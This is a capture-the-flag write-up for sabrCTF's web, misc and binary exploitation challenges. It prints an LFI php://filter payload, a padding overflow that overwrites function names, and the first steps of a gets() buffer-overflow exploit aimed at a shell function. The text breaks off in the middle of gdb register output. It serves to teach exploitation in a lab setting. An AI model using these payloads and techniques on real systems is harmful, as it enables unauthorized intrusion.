CTF Overview
sabrCTF is an online 7-day Jeopardy Capture The Flag competition that mainly features challenges in the topics of reverse engineering and binary exploitation.
Web Category
Seikooc:
So on navigating to the web page I got this
We can see it just shows cookie and its more of a static page.
Next thing I did was to check the source code maybe I will see anything of interest there but too bad nothing really is there only a word which is embedded in the <img src>
tag which is βFind the flag!β
Now the challenge name has given us hint already seikooc == say cookie.
Lets check the cookie present in the web server using curl.
βββ(markγΏhaxor)-[~/β¦/CTF/Sabr/web/seikooc]
ββ$ curl -v http://13.36.37.184:45250/ | head -n 1
* Trying 13.36.37.184:45250...
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 13.36.37.184 (13.36.37.184) port 45250 (#0)
> GET / HTTP/1.1
> Host: 13.36.37.184:45250
> User-Agent: curl/7.86.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 14 Jan 2023 00:59:43 GMT
< Server: Apache/2.4.54 (Debian)
< X-Powered-By: PHP/8.2.1
< Set-Cookie: flag=c2FicntjMDBrMTNzX3NoMHVsZF80bHc0eXNfYjNfY2gzY2tFZCEhIX0%3D; expires=Sat, 14 Jan 2023 01:59:43 GMT; Max-Age=3600
< Vary: Accept-Encoding
< Content-Length: 1282
< Content-Type: text/html; charset=UTF-8
<
{ [1282 bytes data]
100 1282 100 1282 0 0 4174 0 --:--:-- --:--:-- --:--:-- 4273
* Connection #0 to host 13.36.37.184 left intact
We can see thereβs a cookie present and its encoded now lets decode the value using cyberchef.
But also if we notice the end of the flag cookie we see its url encoded
Hereβs the decoding from cyberchef
Flag: sabr{c00k13s_sh0uld_4lw4ys_b3_ch3ckEd!!!}
Tunnel Vision:
On navigating to the web page we get two links to click.
Checking source code doesnβt really reveal anything. So lets check the links out.
After clicking the first link I got redirected to a page that shows nope:)
I checked the second link but instead this shows another page that has 2 links again
I kept on clicking and it kept on redirecting to a new page that has new links to click or it shows nope
.
Obviously scripting your way out is the best thing to do. I read lots from stackoverflow questions and past ctfs to be able to generate this working exploit code written in python.
Hereβs the solve script Solve
Basically what the script does is to loop the connection made to the web server then finds each path in the web source code which is then stored in the paths variable and also if no path if found then the code breaks.
After that a for loop is called which will iterate the values stored in the path variable and perform a get request with the new path then it check if nope is in the response and if it is indeed there it removes the nope path and attempt to use another path.
Then the loop keeps on going till it finds sabr{
in the response which is the flag format per se, after it does that it will then print out the content of the response.
Now lets run the code:
βββ(markγΏhaxor)-[~/β¦/CTF/Sabr/web/tunnel_vision]
ββ$ python3 exploit.py
Getting page from: http://13.36.37.184:45260
Found 2 possible paths: ['/?path=z6qpcm5thexk', '/?path=41ebqfmu6onizs8']
Sorry, you have reached a dead end. Please retry
Getting page from: http://13.36.37.184:45260/?path=41ebqfmu6onizs8
Found 2 possible paths: ['/?path=b6aiup8z0g', '/?path=rd9quwhvp5n']
Sorry, you have reached a dead end. Please retry
Getting page from: http://13.36.37.184:45260/?path=rd9quwhvp5n
Found 2 possible paths: ['/?path=k54g6abnp9', '/?path=6r4gytkfsdxcj']
Sorry, you have reached a dead end. Please retry
Getting page from: http://13.36.37.184:45260/?path=6r4gytkfsdxcj
Found 2 possible paths: ['/?path=h61u7yjon0xabk', '/?path=nlu4voze3i']
Sorry, you have reached a dead end. Please retry
Getting page from: http://13.36.37.184:45260/?path=nlu4voze3i
Found 2 possible paths: ['/?path=14xr785t', '/?path=qpjb40863ifs']
[[-----------------------SNIP---------------------------------]]
Found 2 possible paths: ['/?path=05kezdfopaiyh', '/?path=uviswzk5qjl6h8g0']
Sorry, you have reached a dead end. Please retry
Getting page from: http://13.36.37.184:45260/?path=uviswzk5qjl6h8g0
Found 2 possible paths: ['/?path=156dfs3g0miv9h', '/?path=ncx7khzue1v5oysp']
The flag is: <strong>flag:</strong> <span>sabr{th3_r0b0t_sa1d:_8089}</span>
After few minutes of it generating get request with the valid paths I got the flag.
Flag: sabr{th3_r0b0t_sa1d:_3e41}
Wargamez:
On navigating to the web page I got this
And immediately I noticed the url schema:
We can clearly see that it is including the themes and its specifying the path where the dark theme is.
Now one way to take advantage of this vulnerability is by exploiting it via Local File Inclusion (LFI).
So I tried basic LFI Payloads but none worked and since the description of the challenge says that no fuzzing required I then decided to read the source code of the vulnerably php file (index.php) using php filters.
php://filter/read=convert.base64-encode/resource=index.php
So that will read the file then convert it to base64 cause if no conversion is done the web page will treat is as a php code which wonβt show the source code.
At first we wonβt see anything in here.
But on checking the source code we have a base64 encoded blob
I copied and saved the encoded blob on my machine to do the decoding.
βββ(markγΏhaxor)-[~/β¦/CTF/Sabr/web/wargamez]
ββ$ nano encodedblob
βββ(markγΏhaxor)-[~/β¦/CTF/Sabr/web/wargamez]
ββ$ cat encodedblob | base64 -d > index.php
βββ(markγΏhaxor)-[~/β¦/CTF/Sabr/web/wargamez]
ββ$
Now on reading the source code we can clearly see the flag which is commented
Flag: sabr{w3lc0m3_t0_th3_w0rld_0f_w4rg4m3s}
Miscellaneous Category
Sanity:
This just checks whether you are sane i think π€
Flag: sabr{Welcome_To_Sabr_CTF}
Simple machine:
We are given a remote service to connect to now lets check out what it does
βββ(markγΏhaxor)-[~/β¦/CTF/Sabr/misc/simplemachine]
ββ$ nc 13.36.37.184 9099
βββββββββββ βββββ βββββ βββββββββββ βββββββββββ ββββ ββββ ββββββββββ ββββ ββββ βββββββββββ
βββββββββββ βββββββββββββ βββββββββββ βββββββββββ ββββ ββββ ββββββββββ ββββββ ββββ βββββββββββ
ββββββββββ βββββββββββββ βββββββββββ ββββ ββββ βββββββββββ ββββ βββββββββββ βββββββ
βββββββββββ ββββ βββ ββββ βββββββββββ ββββ ββββ βββββββββββ ββββ βββββββββββ βββββββ
βββββββββββ ββββ ββββ ββββ ββββ βββββββββββ ββββ ββββ ββββββββββ ββββ βββββ βββββββββββ
βββββββββββ ββββ ββββ ββββ ββββ βββββββββββ ββββ ββββ ββββββββββ ββββ ββββ βββββββββββ
ββββββββββ ββββ ββββ ββββ ββββ βββββββββ ββββ ββββ ββββββββββ ββββ ββββ ββββββββββ
Welcome to the Simple Machine. Type help or ? to list operations.
#> help
Documented commands (type help <topic>):
========================================
add and help mul or regs sub win xor
#>
We are greeted with a banner and some sort of command line interface.
Using either ? or help we can view the commands that can be ran on this terminal.
Now the goal of this task is to set any register to 0x1337.
We can view the current state of all registers present using the regs comamnd
#> regs
x0 = 0x0000
x1 = 0x0000
x2 = 0x0000
x3 = 0x0000
x4 = 0x0000
x5 = 0x0000
x6 = 0x0000
x7 = 0x0000
x8 = 0x0000
x9 = 0x0000
#>
And we see that its all set to 0.
From this now try using the help and see what each command does
#> help
Documented commands (type help <topic>):
========================================
add and help mul or regs sub win xor
#>
This option (add) seems like the best to use right now.
Now next thing I did was to obviously try adding 0x1337 to any of the register which in this case i used register x0
#> add x0 0x1337
Invalid Syntax
#>
But we see that we canβt really include 0 in as a value to add
So I tried adding 1337 to register x0 and checking the value using the regs command
#> add x0 1337
#> regs
x0 = 0x0a72
x1 = 0x0000
x2 = 0x0000
x3 = 0x0000
x4 = 0x0000
x5 = 0x0000
x6 = 0x0000
x7 = 0x0000
x8 = 0x0000
x9 = 0x0000
#>
But weird when I checked the registers it showed another value.
So it took me some hours to figure out that the value we give it is converted from decimal to hex. Now this is interesting.
So next thing I did was to use the decimal representation of the hexadecimal value 0x1337 which is 4919
But i had to first subtract the initial value i put in the register using the sub command.
But on running it I got Bad Result as an output.
#> sub x0 1337
#> regs
x0 = 0x0000
x1 = 0x0000
x2 = 0x0000
x3 = 0x0000
x4 = 0x0000
x5 = 0x0000
x6 = 0x0000
x7 = 0x0000
x8 = 0x0000
x9 = 0x0000
#> add x0 4919
Bad Result.
#>
Hmmm painful.. So next I tried add 4918 = 0x1336 to the register
#> add x0 4918
#> regs
x0 = 0x1336
x1 = 0x0000
x2 = 0x0000
x3 = 0x0000
x4 = 0x0000
x5 = 0x0000
x6 = 0x0000
x7 = 0x0000
x8 = 0x0000
x9 = 0x0000
#>
Well that worked we wrote 0x1336 to the register but we need to add 1 to make it 0x1337 but when i try adding 1 i.e add x0 1 I still got Bad Result
as an error
So at this point I went to check other commands we can run
Now xor also adds value to the register we specify.
So next thing I did was to use it and add 1 to the register x0
#> help
Documented commands (type help <topic>):
========================================
add and help mul or regs sub win xor
#> xor x0 1
#> regs
x0 = 0x1337
x1 = 0x0000
x2 = 0x0000
x3 = 0x0000
x4 = 0x0000
x5 = 0x0000
x6 = 0x0000
x7 = 0x0000
x8 = 0x0000
x9 = 0x0000
#>
Now that we have made the register the exact value lets call the win function
#> win
You Win, Flag is sabr{S1MPL3_STACK_M4CH1N3}
Now from what I noticed the xor command adds the exact value of what we want the register to be, so for confirming sake I decided to try it out
#> xor x0 4919
#> regs
x0 = 0x1337
x1 = 0x0000
x2 = 0x0000
x3 = 0x0000
x4 = 0x0000
x5 = 0x0000
x6 = 0x0000
x7 = 0x0000
x8 = 0x0000
x9 = 0x0000
#>
Nice it also was able to add any number we specify to any register from here we can call win function
#> win
You Win, Flag is sabr{S1MPL3_STACK_M4CH1N3}
Hereβs my python script to initialize the connection then do the evaluations and also call the win function Solve
Flag: sabr{S1MPL3_STACK_M4CH1N3}
Complex machine:
Weβre given a remote service to connect to also lets check it out and note from the description is that we should call either win or flag function.
On connecting to it we see just like the previous simple machine cli but this time it has more commands that can be run.
βββ(venv)β(markγΏhaxor)-[~/β¦/CTF/Sabr/misc/complexmachine]
ββ$ nc 13.36.37.184 9092
βββββββββββ βββββ βββββ βββββββββββ βββββββββββ ββββ ββββ ββββββββββ ββββ ββββ βββββββββββ
βββββββββββ βββββββββββββ βββββββββββ βββββββββββ ββββ ββββ ββββββββββ ββββββ ββββ βββββββββββ
ββββ ββββ βββββββββββββ βββββββββββ ββββ ββββ βββββββββββ ββββ βββββββββββ βββββββ
ββββ ββββ ββββ βββ ββββ βββββββββββ ββββ ββββ βββββββββββ ββββ βββββββββββ βββββββ
βββββββββββ ββββ ββββ ββββ ββββ βββββββββββ ββββ ββββ ββββββββββ ββββ βββββ βββββββββββ
βββββββββββ ββββ ββββ ββββ ββββ βββββββββββ ββββ ββββ ββββββββββ ββββ ββββ βββββββββββ
βββββββββ ββββ ββββ ββββ ββββ βββββββββ ββββ ββββ ββββββββββ ββββ ββββ ββββββββββ
Welcome to the Complex Machine. Type help or ? to list operations.
#> help
Documented commands (type help <topic>):
========================================
add call help login mul readstr store xor
and functions load mem or regs sub
#>
Now lets check the registers present using the regs command
#> regs
x0 = 0x0000
x1 = 0x0000
x2 = 0x0000
x3 = 0x0000
x4 = 0x0000
x5 = 0x0000
x6 = 0x0000
x7 = 0x0000
x8 = 0x0000
x9 = 0x0000
#>
They are all set to zero but also we have a command called functions lets see what functions we have stored.
#> functions
Available Functions:
echo
strreverse
randstring
strtohex
#>
Cool we have the functions present.
We have other commands to check lets check out the mem command
#> mem
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 65 63 68 6F 00 00 00 00 00 00 00 00 00 00 00 00 echo............
00000110: 73 74 72 72 65 76 65 72 73 65 00 00 00 00 00 00 strreverse......
00000120: 72 61 6E 64 73 74 72 69 6E 67 00 00 00 00 00 00 randstring......
00000130: 73 74 72 74 6F 68 65 78 00 00 00 00 00 00 00 00 strtohex........
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#>
From the result we can see that this is the memory address in which the functions are stored.
Lets check the command login and we need to pass an argument which is the password
#> login hacker
Invalid password: hacker !
#> login gimmeflag
Invalid password: gimmeflag !
#>
Now lets check the memory address back
#> mem
00000000: 67 69 6D 6D 65 66 6C 61 67 00 00 00 00 00 00 00 gimmeflag.......
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 65 63 68 6F 00 00 00 00 00 00 00 00 00 00 00 00 echo............
00000110: 73 74 72 72 65 76 65 72 73 65 00 00 00 00 00 00 strreverse......
00000120: 72 61 6E 64 73 74 72 69 6E 67 00 00 00 00 00 00 randstring......
00000130: 73 74 72 74 6F 68 65 78 00 00 00 00 00 00 00 00 strtohex........
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#>
We see that the login command argument we passed is been stored in the memory address
At this point what i then did was to overwrite any real function and replace with win.
How can this be achieved ?
Well by passing in junkdata +win
So I did that on my terminal to create aβsβ (βaβ256 + βwinβ), how i knew to use a256 was by calculating the amount of bytes needed to reach the echo function in the memory addressβ
βββ(markγΏhaxor)-[~/β¦/CTF/Sabr/misc/complexmachine]
ββ$ python2 -c 'print"a"*256+"win"'
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaawin
Now using that as the argument to login
#> login aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaawin
Invalid password: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaawin !
#>
Now on checking the memory address we see that the echo function has been overwritten by win
#> mem
00000000: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000010: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000020: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000030: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000040: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000050: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000060: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000070: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000080: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000090: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
000000A0: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
000000B0: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
000000C0: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
000000D0: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
000000E0: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
000000F0: 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
00000100: 77 69 6E 00 00 00 00 00 00 00 00 00 00 00 00 00 win.............
00000110: 73 74 72 72 65 76 65 72 73 65 00 00 00 00 00 00 strreverse......
00000120: 72 61 6E 64 73 74 72 69 6E 67 00 00 00 00 00 00 randstring......
00000130: 73 74 72 74 6F 68 65 78 00 00 00 00 00 00 00 00 strtohex........
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
#>
We can confirm by checking the available functions using the function command
#> functions
Available Functions:
win
strreverse
randstring
strtohex
#>
Now lets try calling the win function
And thereβs a command that can call any function stored in the memory address call
#> call win
Invalid Argument!
#>
But we get invalid argument.
From this I remembered the previous machine required changing the value of any register to 0x1337 and calling the win command so i tried that here also
#> xor x0 4919
#> regs
x0 = 0x1337
x1 = 0x0000
x2 = 0x0000
x3 = 0x0000
x4 = 0x0000
x5 = 0x0000
x6 = 0x0000
x7 = 0x0000
x8 = 0x0000
x9 = 0x0000
#>
Now lets call the win function again
#> call win
You Win, Flag is sabr{0x7563_is_TOO_Large_for_this_Machine}
And I got the flag.
Hereβs my python script i used to solve it
It might take few seconds for it to print the flag Solve
Flag: sabr{0x7563_is_TOO_Large_for_this_Machine}
Binary Exploitation Category
0v3reZ:
We are given a binary and a remote service to connect to lets download the binary on our machine and analyze it
So at this point I did basic file check
We see its a 64 bit binary, dynamically linked and its stripped (meaning we wonβt be able to see the functions name i.e main func)
We can also see that the binary has partial relro, it has no canary (so if we can perform a buffer overflow we wonβt be stopped by stack protector), nx enabled (if we can inject shellcode to the stack we wonβt be able to execute it), no pie ( the address when the binary loads is static)
Please forgive me for not explaining those terms well as am not that good at binary exploitation yet
Now lets run this binary to get an overview of what is happening
βββ(venv)β(markγΏhaxor)-[~/β¦/CTF/Sabr/pwn/0v3reZ]
ββ$ ./0v3reZ
βββββββββββ ββββ ββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
βββββββββββ ββββ ββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
ββββ ββββ ββββ ββββ βββββββ βββββββββββ βββββββ βββββββ
ββββ ββββ ββββ βββββ βββββββ βββββββββββ βββββββ βββββββ
βββββββββββ βββββββββββ βββββββββββ ββββ ββββ βββββββββββ βββββββββββ
βββββββββββ ββββββββββ βββββββββββ ββββ ββββ βββββββββββ βββββββββββ
βββββββββ ββββββββ ββββββββββ ββββ ββββ ββββββββββ βββββββββββ
b0fz: hello
We see it just prints out a banner then takes in our input and exits
I then decompiled the binary using ghidra to analyze the functions in it
Now lets view the functions present but since its stripped we wonβt exactly see the real function names.
On checking the content of each functions I saw this in FUN_00401200 which is likely the main function.
Let me try to rename it to how its likely going to look like in the real c code
int main(void)
{
char input[32]; //allocating 32 bytes of data in the buffer
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
alarm(0x3c);
design(); //calling the design function
printf("b0fz: ");
gets(input); //using dangerous gets function
return 0;
}
On checking the other functions I came across this one also FUN_004011d6 which is a function calling /bin/sh
Also let me try to rename it to how its likely going to look like in the real c code
void shell(void)
{
system("/bin/sh");
return;
}
Now from this what we can conclude is that thereβs a function which call /bin/sh which would give us shell
But the main function isnβt calling that function
And also the main function is storing our input in a buffer which only allocates 32bytes in it and its using a vulnerable function which is get
to receive our input.
Since we can cause a buffer overflow in the binary, instead of it just exiting we can instead make it call the function that would return /bin/sh and this can be done by overwriting the RIP (Instruction Pointer Register) to call the shell function.
So i used pwntools for the exploitation but first we need to get the following things:
The offset: the amount of bytes needed to get in the rbp
The address we would want the rip to call
So for this part I used gdb .
Firstly to get the offset we need to generate bytes of data and I used cyclic tool to create 100 bytes of data
βββ(venv)β(markγΏhaxor)-[~/β¦/CTF/Sabr/pwn/0v3reZ]
ββ$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Now I opened the binary in gdb to run it
βββ(venv)β(markγΏhaxor)-[~/β¦/CTF/Sabr/pwn/0v3reZ]
ββ$ gdb 0v3reZ
GNU gdb (Debian 12.1-4) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 12.1 in 0.01ms using Python engine 3.10
Reading symbols from 0v3reZ...
(No debugging symbols found in 0v3reZ)
gefβ€
Now we run it by simply typing run/r and press enter key.
It will then require an input from us so we give it the data gotten from cyclic
gefβ€ r
Starting program: /home/mark/Desktop/CTF/Sabr/pwn/0v3reZ/0v3reZ
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fc9000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
βββββββββββ ββββ ββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
βββββββββββ ββββ ββββ βββββββββββ βββββββββββ βββββββββββ βββββββββββ
ββββ ββββ ββββ ββββ βββββββ βββββββββββ βββββββ βββββββ
ββββ ββββ ββββ βββββ βββββββ βββββββββββ βββββββ βββββββ
βββββββββββ βββββββββββ βββββββββββ ββββ ββββ βββββββββββ βββββββββββ
βββββββββββ ββββββββββ βββββββββββ ββββ ββββ βββββββββββ βββββββββββ
βββββββββ ββββββββ ββββββββββ ββββ ββββ ββββββββββ βββββββββββ
b0fz: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401282 in ?? ()
After giving it the 100 bytes of a
it causes a segmentation fault error, then in the new line it should return the information about the registers in itβs current state
[ Legend: Modified register | Code | Heap | Stack | String ]
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
$rax : 0x0
$rbx : 0x007fffffffdf68 β 0x007fffffffe2cb β "/home/mark/Desktop/CTF/Sabr/pwn/0v3reZ/0v3reZ"
$rcx : 0x007ffff7f9ca80 β 0x00000000fbad208b
$rdx : 0x1
$rsp : 0x007fffffffde58 β "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]"
$rbp : 0x6161616a61616169 ("iaaajaaa"?)
$rsi : 0x1
$rdi : 0x007ffff7f9ea20 β 0x0000000000000000
$rip : 0x00000000401282 β ret
$r8 : 0x0
$r9 : 0x0
$r10 : 0x007ffff7dd72a8 β 0x00100022000043f9
$r11 : 0x246
$r12 : 0x0
$r13 : 0x007fffffffdf78 β 0x007fffffffe2f9 β "COLORFGBG=15;0"
$r14 : 0x00000000403e18 β 0x000000004011a0 β endbr64
$r15 : 0x007ffff7ffd020 β 0x007ffff7ffe2e0 β 0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
0x007fffffffde58β+0x0000: "kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawa[...]" β $rsp
0x007fffffffde60β+0x0008: "maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya[...]"
0x007fffffffde68β+0x0010: "oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0x007fffffffde70β+0x0018: "qaaaraaasaaataaauaaavaaawaaaxaaayaaa"
0x007fffffffde78β+0x0020: "saaataaauaaavaaawaaaxaaayaaa"
0x007fffffffde80β+0x0028: "uaaavaaawaaaxaaayaaa"
0x007fffffffde88β+0x0030: "waaaxaaayaaa"
